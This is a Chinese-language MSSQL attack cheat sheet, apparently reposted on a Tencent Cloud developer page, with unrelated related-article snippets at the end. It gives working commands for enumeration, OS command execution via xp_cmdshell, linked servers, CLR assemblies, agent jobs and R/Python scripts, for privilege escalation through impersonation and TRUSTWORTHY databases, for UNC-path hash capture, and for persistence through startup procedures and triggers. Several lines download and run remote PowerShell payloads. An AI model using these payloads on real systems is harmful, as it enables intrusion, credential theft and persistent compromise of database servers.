MSSQL 备忘录

数据库枚举的基本 SQL Server 查询

#View all db in an instance
Get-SQLQuery -Instance <instance> -Query "SELECT name FROM sys.databases"

#View all tables
Get-SQLQuery -Instance <instance> -Query "SELECT * FROM Employees.INFORMATION_SCHEMA.TABLES" 

#View all cols in all tables in a db
Get-SQLQuery -Instance <instance> -Query "SELECT * FROM Employees.INFORMATION_SCHEMA.columns"

#View data in table
Get-SQLQuery -Instance <instance> -Query "USE Employees;SELECT * FROM ITEmployees"

枚举 SPN / 查找 MSSQL 服务器

#TCP/UDP port scan
Get-SQLInstanceScanUDP

#DB in the domain
Get-SQLInstanceDomain

#Local DB
Get-SQLInstanceLocal

收集信息

Get-SQLInstanceDomain | Get-SQLServerInfo -Verbose

检查访问

Get-SQLConnectionTestThreaded
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Username sa -Password Password -Verbose

枚举数据库用户

Get-SQLFuzzServerLogin -Instance <instance> -Verbose

检查模拟权

Invoke-SQLAudit -Verbose -Instance instance.domain.local

枚举 SQL Server 链接

  • 数据库链接允许 SQL Server 访问外部数据源,如其他 SQL Server 和 OLE DB 数据源。
  • 在 SQL 服务器之间的数据库链接的情况下,即链接的 SQL 服务器,可以执行存储过程。
  • 数据库链接甚至可以跨林信任工作。
Get-SQLServerLink -Instance <instance> -Verbose
#Or
select * from master..sysservers

枚举数据库链接

Get-SQLServerLinkCrawl -Instance <instance> -Verbose
#Or
select * from openquery("<instance>",'select * from openquery("<instance2>",''select * from master..sysservers'')')

枚举域用户

Get-SQLFuzzDomainAccount -Instance <instance.domain.local> -StartId 500 -EndId 2000 -Verbose

命令执行xp_cmdshell

  • 在目标服务器上,任何一个xp_cmdshell都应该已经启用;
  • 如果启用rpcout(默认禁用),xp_cmdshell可以使用以下命令启用:
EXECUTE('sp_configure ''Show Advanced Options'',1;reconfigure;') AT "<instance>" EXECUTE('sp_configure ''xp_cmdshell'',1;reconfigure;') AT "<instance>"
  • 如果rpcout被禁用但我们是sa,则可以使用EXEC sp_serveroption 'LinkedServer', 'rpc out', 'true'。

通过 DB 链接执行的命令:

Get-SQLServerLinkCrawl -Instance <instance> -Query "exec master..xp_cmdshell 'whoami'"
Get-SQLServerLinkCrawl -Instance <instance> -Query 'exec master..xp_cmdshell "powershell -c iex (new-object net.webclient).downloadstring(''http://172.16.100.168:8080/Invoke-HelloWorld.ps1'')"'

#Or
select * from openquery("<instance>",'select * from openquery("<instance2>",''select * from openquery("<instance3>.domain.local",''''select @@version as version;exec master..xp_cmdshell "powershell whoami)'''')'')')

使用 PowerUpSQL:

Invoke-SQLOSCmd -Username sa -Password <password> -Instance <instance> -Command whoami

扩展存储过程

  • 充当 SQL 服务器扩展的 DLL。DLL 需要在磁盘上。
  • 在 DLL 中注册每个扩展存储过程都需要 sysadmin 权限。
  • 以服务帐户的权限执行,并在 SQL Server 的进程空间中运行。
  • DLL 可以具有任何文件扩展名,也可以从 UNC 路径或 Webdav 加载。
Create-SQLFileXpDll -OutFile C:\fileserver\xp_calc.dll -Command "calc.exe" -ExportName xp_calc
Get-SQLQuery -UserName sa -Password <password> -Instance <instance> -Query "sp_addextendedproc 'xp_calc', '\\192.168.15.2\fileserver\xp_calc.dll'"
Get-SQLQuery -UserName sa -Password <password> -Instance <instance> -Query "EXEC xp_calc"

列出现有的扩展过程

Get-SQLStoredProcedureXP -Instance <instance> -Verbose

CLR 程序集

  • CLR(Common Language Runtime)是.NET框架提供的运行时环境。SQL Server 支持 CLR 集成,它允许通过导入 DLL 来编写存储过程和其他内容。
  • CLR 集成默认关闭,默认情况下需要系统管理员权限才能使用它。创建程序集、更改程序集或DDL_Admin角色也可以使用它。
  • 执行以服务帐户的权限进行。
use msdb
GO
-- Enable show advanced options on the server
sp_configure 'show advanced options',1
RECONFIGURE
GO
-- Enable clr on the server
sp_configure 'clr enabled',1
RECONFIGURE
GO

-- Import the assembly
CREATE ASSEMBLY my_assembly
FROM '\\192.168.15.2\fileserver\cmd_exec.dll'
WITH PERMISSION_SET = UNSAFE;
GO
-- Link the assembly to a stored procedure
CREATE PROCEDURE [dbo].[cmd_exec] @execCommand NVARCHAR (4000) AS EXTERNAL NAME 
[my_assembly].[StoredProcedures].[cmd_exec];
GO

cmd_exec 'whoami'

-- Cleanup
DROP PROCEDURE cmd_exec
DROP ASSEMBLY my_assembly

使用 PowerUpSQL

#Create C# code for the DLL, the DLL and SQL query with DLL as hexadecimal string
Create-SQLFileCLRDll -ProcedureName "runcmd" -OutFile runcmd -OutDir C:\Users\user\Desktop

#Execute command using CLR assembly
Invoke-SQLOSCmdCLR -Username sa -Password <password> -Instance <instance> -Command "whoami" -Verbose

#List all the stored procedures added using CLR
Get-SQLStoredProcedureCLR -Instance <instance> -Verbose

Ole 自动化程序

  • 允许使用 SQL 查询使用 COM 对象的系统存储过程。
  • 默认关闭。启用它需要 syadmin 权限。
  • 执行权限,sp_OACreate也sp_OAMethod可用于执行。
  • 执行以服务帐户的权限进行。
Invoke-SQLOSCmdCLR -Username sa -Password <password> -Instance <instance> -Command "whoami" -Verbose
Invoke-SQLOSCmdCLR -Username sa -Password <password> -Instance <instance> -Command "powershell –e <base64encodedscript>" -Verbose

代理工作

  • SQL Server 代理是执行计划任务或作业的 Windows 服务。
  • 可以调度、执行作业以响应警报或使用sp_start_job存储过程。
  • 需要 sysadmin 角色才能创建作业。
  • 也可以使用在 msdb 数据库中具有SQLAgentUserRole、SQLAgentReaderRole和SQLAgentOperatorRole固定数据库角色的非系统管理员用户。
  • 如果未配置代理帐户,则使用 SQL Server 代理服务帐户的权限执行。
-- PowerShell
USE msdb
EXEC dbo.sp_add_job @job_name = N'PSJob'
EXEC sp_add_jobstep @job_name = N'PSJob', @step_name = N'test_powershell_name1', @subsystem = N'PowerShell', @command = N'powershell.exe -noexit ps', @retry_attempts = 1, @retry_interval = 5
EXEC dbo.sp_add_jobserver @job_name = N'PSJob'
EXEC dbo.sp_start_job N'PSJob'
-- EXEC dbo.sp_delete_job @job_name = N'PSJob'

-- CmdExec
USE msdb
EXEC dbo.sp_add_job @job_name = N'cmdjob' 
EXEC sp_add_jobstep @job_name = N'cmdjob', @step_name = N'test_cmd_name1', @subsystem = N'cmdexec', @command = N'cmd.exe /k calc', @retry_attempts = 1, @retry_interval = 5
EXEC dbo.sp_add_jobserver @job_name = N'cmdjob'
EXEC dbo.sp_start_job N'cmdjob';
-- EXEC dbo.sp_delete_job @job_name = N'cmdJob'

使用 PowerUpSQL

Invoke-SQLOSCmdAgentJob -Subsystem PowerShell -Username sa -Password <password> -Instance <instance> -Command "powershell –e <base64encodedscript>" -Verbose -Subsystem CmdExec -Subsystem VBScript -Subsystem Jscript

其他脚本:

R

sp_configure 'external scripts enabled'
GO
EXEC sp_execute_external_script @language=N'R',@script=N'OutputDataSet <- data.frame(system("cmd.exe /c dir",intern=T))'
WITH RESULT SETS (([cmd_out] text));
GO

-- Grab Net-NTLM hash
@script=N'.libPaths("\\\\testhost\\foo\\bar");library("0mgh4x")'
-- Or
@script=N'OutputDataSet <-data.frame(shell("dir",intern=T))'

Python

EXEC sp_execute_external_script @language =N'Python',@script=N'import subprocess p = subprocess.Popen("cmd.exe /c whoami", stdout=subprocess.PIPE) OutputDataSet = pandas.DataFrame([str(p.stdout.read(), "utf-8")])'
WITH RESULT SETS (([cmd_out] nvarchar(max)))

PowerUpSQL

#R
Invoke-SQLOSCmdR -Username sa -Password <password> -Instance <instance> -Command "powershell –e <base64encodedscript>" -Verbose

#Python
Invoke-SQLOSCmdPython -Username sa -Password <password> -Instance <instance> -Command "powershell –e <base64encodedscript>" -Verbose

权限提升

对系统管理员公开 - 模拟

可以通过User Impersonation来实现Execute AS

检查模拟权

Invoke-SQLAuditPrivImpersonateLogin -Username <username> -Password <password> -Instance <instance> -Verbose

模拟用户

Invoke-SQLAuditPrivImpersonateLogin -Instance <instance> -Exploit -Verbose

对系统管理员公开 - 值得信赖的数据库

  • is_trustworthy_on用于指示 SQL Server 实例是否信任数据库及其内容的数据库属性 ( )。
  • 当 TRUSTWORTHY 关闭时,模拟用户(通过使用 EXECUTE AS)将仅具有数据库范围的权限,但当 TRUSTWORTHY 打开时,模拟用户可以执行具有服务器级别权限的操作。这允许编写可以执行使用服务器级别权限的代码的程序。
  • 如果 TRUSTWORTHY 设置设置为 ON,并且 sysadmin(不一定是 sa)是数据库的所有者,则数据库所有者(具有 的用户db_owner)可以将权限提升到 sysadmin。

寻找值得信赖的

SELECT name as database_name, SUSER_NAME(owner_sid) AS database_owner, is_trustworthy_on AS TRUSTWORTHY 
from sys.databases

PowerUpSQL

Invoke-SQLAudit -Instance <instance.domain.local> -Verbose | Out-GridView
Invoke-SQLAuditPrivTrustworthy -Instance <instance> -Verbose

寻找 db_owner 角色

use <database>
SELECT DP1.name AS DatabaseRoleName, isnull (DP2.name, 'No members') AS DatabaseUserName
FROM sys.database_role_members AS DRM 
RIGHT OUTER JOIN sys.database_principals AS DP1 
ON DRM.role_principal_id = DP1.principal_id 
LEFT OUTER JOIN sys.database_principals AS DP2 
ON DRM.member_principal_id = DP2.principal_id 
WHERE DP1.type = 'R'
ORDER BY DP1.name;

执行为:

EXECUTE AS USER = 'dbo'
SELECT system_user
EXEC sp_addsrvrolemember 'domain\user','sysadmin'

公共服务帐户

UNC 路径注入

Invoke-SQLUncPathInjection -Verbose -CaptureIp 192.168.15.2

服务帐户到 SYSTEM

持久性 - 启动存储过程

每次重新启动 SQL 服务时重新启动的过程

-- Create a stored procedure
USE master
GO
CREATE PROCEDURE sp_autops
AS
EXEC master..xp_cmdshell 'powershell -C "iex (new-object System.Net.WebClient).DownloadString(''http://webserver/payload.ps1'')"'
GO

-- Mark the stored procedure for automatic executio
EXEC sp_procoption @ProcName = 'sp_autops', @OptionName = 'startup', @OptionValue = 'on';
-- Now, whenever the SQL Server service is restarted, the sp_autops stored procedure will be executed thereby executing our PowerShell payload

-- List stored procedures marked for automatic execution:
SELECT [name] FROM sysobjects WHERE type = 'P' AND OBJECTPROPERTY(id, 'ExecIsStartUp') = 1;

触发器

DDL 触发器

CREATE Trigger [persistence_ddl_1]
ON ALL Server -- or DATABASE
FOR DDL_LOGIN_EVENTS -- See the docs below for events and event groups
AS
EXEC master..xp_cmdshell 'powershell -C "iex (new-object System.Net.WebClient).DownloadString(''http://webserver/payload.ps1'')"'
GO

DML 触发器

USE master
GRANT IMPERSONATE ON LOGIN::sa to [Public];
USE testdb
CREATE TRIGGER [persistence_dml_1]
ON testdb.dbo.datatable
FOR INSERT, UPDATE, DELETE AS
EXECUTE AS LOGIN = 'sa'
EXEC master..xp_cmdshell 'powershell -C "iex (new-object System.Net.WebClient).DownloadString(''http://webserver/payload.ps1'')"'
GO

登录触发器

CREATE Trigger [persistence_logon_1]
ON ALL SERVER WITH EXECUTE AS 'sa'
FOR LOGON
AS
BEGIN
IF ORIGINAL_LOGIN() = 'testuser'
EXEC master..xp_cmdshell 'powershell -C "iex (new-object System.Net.WebClient).DownloadString(''http://webserver/payload.ps1'')"'
END;

登记处

将xp_regread(作为系统管理员)与 PowerUpSQL 一起使用。以下命令从注册表读取自动登录密码。

Get-SQLRecoverPwAutoLogon -Username sa -Password <password> -Instance <instance> -Verbose

https://hideandsec.sh/books/cheatsheets-82c/page/mssql#bkmrk-enumerate-sql-server

原文地址:https://cloud.tencent.com/developer/article/2047031

版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 dio@foxmail.com 举报,一经查实,本站将立刻删除。

相关推荐


本篇内容主要讲解“sqlalchemy的常用数据类型怎么使用”,感兴趣的朋友不妨来看看。本文介绍的方法操作简单快捷,实用性强。下面就让小编来带大家学习“sqlalche...
今天小编给大家分享一下sqlServer实现分页查询的方式有哪些的相关知识点,内容详细,逻辑清晰,相信大部分人都还太了解这方面的知识,所以分享这篇文章给大家
这篇文章主要介绍“sqlmap之osshell怎么使用”,在日常操作中,相信很多人在sqlmap之osshell怎么使用问题上存在疑惑,小编查阅了各式资料,整理出
本篇内容介绍了“SQL注入的知识点有哪些”的有关知识,在实际案例的操作过程中,不少人都会遇到这样的困境,接下来就让小编带领大家学习一下如何处理这些情况吧...
1. mssql权限sa权限:数据库操作,文件管理,命令执行,注册表读取等system。是mssql的最高权限db权限:文件管理,数据库操作等 users-administratorspublic权限:数据库操作 guest-users2、sql server注入执行命令查
sql执行计划如何查看?在SPL庞大的数据中我们不知道如何查看实际数据库中发生了什么事情,有必要定期进行查询优化和索引否则会影响我们后期的SQL的查询速度。那么针对这样的问题我们必须要知道SQL执行的计划,在本文中winwin7小编给大家分享下SQL执
SQL Server 是Microsoft 公司推出的关系型数据库管理系统。具有使用方便可伸缩性好与相关软件集成程度高等优点应用非常广泛。不过在使用中,我们会遇到非常多的错误,面对这么庞大的数据库环境,当然会有精确的错误代码的对照季,下面小编分享的
SQL Server本地账户无法登陆出现错误提示:error:40-Could not open a connenction to SQL Server的问题很常见,对于初学者来说可能不知道如何解决,一起来看看下面的解决方案。解决步骤如下:1、这种情况需要开启 SQL Server service
微软推出的SQL2008是一款非常好用的数据库软件,它稳定、功能强大,为众多企业提供了最佳的数据库解决方案,那么我们如何在Windows中安装它呢,一些朋友对SQL Server 2008的安装过程还不是很熟悉,下面就一起来看看SQL Server 2008详细安装图解...
本页概要如果您使用的是 SQL Server 2005备份和还原Sp_detach_db 和 Sp_attach_db 存储过程关于排序规则的说明导入和导出数据(在 SQL Server 数据库之间复
DBCC CHECKIDENT 检查指定表的当前标识值,如有必要,还对标识值进行更正。 语法 DBCC CHECKIDENT ( &#39;table_name&#39; [ , { NORESEED
这里对 SQL Server 字符串函数进行分门别类地列出,便于查阅和记忆,相信大家都在其它方面有高深的编程基础,从字面上来说大家都知道这些函数的意义,就不对这些函数作过多的解释了,主要谈些经验,具体
查询及删除重复记录的方法 1、查找表(people)中多余的重复记录,重复记录是根据单个字段(peopleId)来判断select*frompeoplewherepeopleIdin(selectpe
微软发SQL Server 2008第二个CTP预览版from: http://news.csdn.net/n/20070807/107158.html8月7日消息,微软公司本周发布了SQL Serv
症状当您将数据库备份恢复到另一台服务器时,可能会遇到孤立用户的问题。SQL Server 联机丛书中的孤立用户疑难解答主题中没有讲述解决此问题的具体步骤。本文介绍了如何解决孤立用户问题。更多信息虽然术
当登录SQL Server 2005时可能碰到错误: &#39;No Process is on the Other End of the Pipe&#39;。解决方法:(1)Open up SQL
概要本文描述如何映射标准登录和集成登录来解决在运行 SQL Server 的服务器之间移动数据库时的权限问题。更多信息当您将数据库从一个运行 SQL Server 的服务器移到另一个运行 SQL Se
----------------------------------------问题:该用户与可信的SQL SERVER 连接无关联使用sa用户或自建用户使用“SQL SERVER 身份认证”连接数据
更新日期: 2007 年 5 月 20 日 使用下表可以确定各种版本的 Microsoft SQL Server 2005 支持哪些功能。有关 SQL Server 2005 Enterprise E
当从Excel导入数据到Sql Sever中,可能会出现以下问题:&#xD;&#xA;对于指定的缓冲区大小而言,源列的数据太大